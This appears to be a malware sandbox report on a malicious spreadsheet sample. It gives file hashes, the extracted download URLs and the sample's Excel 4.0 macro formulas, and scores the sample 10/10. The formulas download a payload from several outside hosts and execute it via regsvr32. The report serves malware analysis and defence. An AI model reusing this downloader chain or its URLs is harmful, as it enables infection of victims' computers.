General
-
Target
21413e1a1c3836680bd850e64bae3fff993400f507a3e3d556552747d3e699e7
-
Size
46KB
-
Sample
241119-npjzxswdrp
-
MD5
3f4bf7a04ed2a46a7a4b9044fe613a8d
-
SHA1
26d40eb2acec419ce2c6e6bdf646585a7474bfc1
-
SHA256
21413e1a1c3836680bd850e64bae3fff993400f507a3e3d556552747d3e699e7
-
SHA512
5ccd65ec6bb606ddee6c085fbf5f4b65b50620b87d00ef534dc296346b018838cd4d55a9271d1bf27cafef95382e53d06b983f394cf96ff171f6629931d130f7
-
SSDEEP
768:/4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:/6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Malware Config
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
https://lifebotl.com/wp-content/233ZS9dDv/
http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/
http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/certificates/v1p9N/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/wp-content/233ZS9dDv/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
Targets
-
-
Target
21413e1a1c3836680bd850e64bae3fff993400f507a3e3d556552747d3e699e7
-
Size
46KB
-
MD5
3f4bf7a04ed2a46a7a4b9044fe613a8d
-
SHA1
26d40eb2acec419ce2c6e6bdf646585a7474bfc1
-
SHA256
21413e1a1c3836680bd850e64bae3fff993400f507a3e3d556552747d3e699e7
-
SHA512
5ccd65ec6bb606ddee6c085fbf5f4b65b50620b87d00ef534dc296346b018838cd4d55a9271d1bf27cafef95382e53d06b983f394cf96ff171f6629931d130f7
-
SSDEEP
768:/4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:/6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-